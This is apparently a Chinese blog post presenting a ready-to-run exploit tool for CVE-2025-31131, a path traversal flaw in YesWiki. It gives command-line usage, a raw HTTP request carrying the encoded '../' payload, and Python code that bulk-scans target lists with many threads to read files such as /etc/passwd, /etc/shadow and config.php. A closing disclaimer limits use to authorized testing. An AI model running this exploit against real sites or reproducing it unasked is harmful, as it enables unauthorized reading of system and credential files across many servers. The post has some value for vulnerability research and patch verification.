高效批量检测:YesWiki路径遍历漏洞利用工具

CVE-2025-31131 YesWiki路径遍历漏洞利用工具

项目概述

本工具是一款针对CVE-2025-31131漏洞的专业检测脚本,专门用于检测和利用YesWiki(版本<4.5.2)中的路径遍历安全漏洞。该漏洞允许未授权攻击者通过squelette参数读取服务器上的任意文件,具有较高的安全风险(CVSS评分8.6)。工具采用Python开发,支持多线程批量扫描,为安全研究人员和渗透测试人员提供高效便捷的漏洞验证方案。

功能特性

  • 自动化漏洞检测:自动构造恶意请求,检测目标YesWiki系统是否存在路径遍历漏洞
  • 多目标批量扫描:支持从文件读取URL列表,并发执行漏洞检测
  • 灵活文件读取:可指定读取服务器上的任意文件路径(默认读取/etc/passwd)
  • 多线程优化:利用线程池技术提升批量扫描效率,支持自定义线程数
  • 彩色终端输出:使用colorama库提供清晰的彩色输出,结果一目了然
  • SSL支持:默认跳过SSL证书验证,适应各种测试环境
  • 手动利用参考:提供Burp Suite手动利用的完整HTTP请求示例

安装指南

环境要求

  • Python 3.x
  • 网络连接(用于访问目标服务器)

依赖安装

# 安装必要的Python库
pip install requests colorama

# 或者直接运行,脚本会自动导入所需库

系统要求

  • 支持Windows、Linux、macOS操作系统
  • 需要Python环境及网络访问权限
  • 建议在Kali Linux或类似渗透测试环境中使用

使用说明

基本使用

# 显示帮助信息
python3 exploit.py -h

# 检测单个目标
python3 exploit.py -u https://example.com/

# 指定读取特定文件
python3 exploit.py -u https://example.com/ -f /etc/shadow

# 批量扫描URL列表
python3 exploit.py -l targets.txt --threads 20

参数说明

  • -u, --url:单目标URL地址
  • -l, --list:包含多个URL的文件路径
  • -f, --file:要读取的服务器文件路径(默认:/etc/passwd)
  • --threads:批量扫描的线程数(默认:10)

使用示例

  1. 单目标检测

    python3 exploit.py -u https://victim-site.com/
    
  2. 批量扫描

    # 创建目标列表文件
    echo "https://site1.com/" > targets.txt
    echo "https://site2.com/" >> targets.txt
    
    # 执行批量扫描
    python3 exploit.py -l targets.txt --threads 15
    
  3. 读取不同文件

    python3 exploit.py -u https://example.com/ -f /etc/hostname
    python3 exploit.py -u https://example.com/ -f /var/www/html/config.php
    

手动利用参考

如需手动测试,可使用以下Burp Suite请求格式:

GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: */*

核心代码

主检测函数

def check_vulnerability(url, file_path):
    """
    检测单个目标的漏洞并读取文件内容
    
    Args:
        url (str): 目标URL地址
        file_path (str): 要读取的服务器文件路径
    
    Returns:
        bool: 目标是否易受攻击
    """
    # 构造路径遍历payload
    path = quote(f"{'../'*8}{file_path}")
    full_url = f"{url}/?UrkCEO/edit&theme=margot&squelette={path}&style=margot.css"

    headers = {
        "User-Agent": "Mozilla/5.0",
        "Accept": "*/*"
    }

    try:
        # 发送恶意请求
        r = requests.get(full_url, headers=headers, timeout=10, verify=False)

        # 检查响应中是否包含文件内容
        if "root:x:0:0:" in r.text or "bin/bash" in r.text:
            print(f"\n{Fore.GREEN}[+] {url} is Vulnerable! File content of {file_path}:{Style.RESET_ALL}")
            print(f"{Fore.CYAN}{'-'*50}{Style.RESET_ALL}")
            print(extract_file_contents(r.text))
            print(f"{Fore.CYAN}{'-'*50}{Style.RESET_ALL}")
            return True
    except requests.exceptions.RequestException as e:
        # 静默处理连接错误
        pass
    return False

批量处理函数

def process_url_list(file_path, file_to_read, threads):
    """
    多线程批量处理URL列表
    
    Args:
        file_path (str): 包含URL列表的文件路径
        file_to_read (str): 要读取的服务器文件
        threads (int): 使用的线程数量
    """
    try:
        # 读取URL列表文件
        with open(file_path, "r") as f:
            urls = [line.strip() for line in f if line.strip()]
        print(f"{Fore.BLUE}[+] Scanning {len(urls)} targets using {threads} threads...\n{Style.RESET_ALL}")

        # 创建线程池并发执行
        with ThreadPoolExecutor(max_workers=threads) as executor:
            futures = {executor.submit(check_vulnerability, url.rstrip("/"), file_to_read): url for url in urls}
            for future in as_completed(futures):
                pass  # 所有输出在check_vulnerability函数中处理
    except FileNotFoundError:
        print(f"{Fore.RED}[-] URL list file not found: {file_path}{Style.RESET_ALL}")
        sys.exit(1)

内容提取函数

def extract_file_contents(html_text):
    """
    从HTML响应中提取文件内容
    
    Args:
        html_text (str): 包含文件内容的HTML文本
    
    Returns:
        str: 提取的文件内容或错误信息
    """
    # 查找/etc/passwd文件的起始标记
    start_index = html_text.find("root:x:0:0:")
    if start_index == -1:
        return "[!] File contents not found in response."
    
    # 定位内容结束位置
    end_index = html_text.find("</", start_index)
    return html_text[start_index:end_index].strip()

主程序入口

def main():
    """
    主函数:解析命令行参数并执行相应操作
    """
    parser = argparse.ArgumentParser(description="CVE-2025-31131 - YesWiki Path Traversal Exploit")
    parser.add_argument("-u", "--url", help="Single target URL (e.g. https://example.com)")
    parser.add_argument("-l", "--list", help="File with list of URLs")
    parser.add_argument("-f", "--file", help="File path to read (default: /etc/passwd)", default="/etc/passwd")
    parser.add_argument("--threads", help="Number of threads for bulk scan (default: 10)", type=int, default=10)

    args = parser.parse_args()
    print(BANNER)  # 显示工具横幅

    # 根据参数选择执行模式
    if args.list:
        process_url_list(args.list, args.file, args.threads)
    elif args.url:
        check_vulnerability(args.url.rstrip("/"), args.file)
    else:
        print(f"{Fore.RED}[-] Please specify either a single URL with -u or a list with -l{Style.RESET_ALL}")
        parser.print_help()

免责声明

本工具仅限于安全研究和授权测试使用。使用者需确保在合法范围内使用该工具,未经授权对任何系统进行测试可能违反法律。开发者不对任何滥用行为承担责任。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5z4iiXRTaXhJo+46H09ucv

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容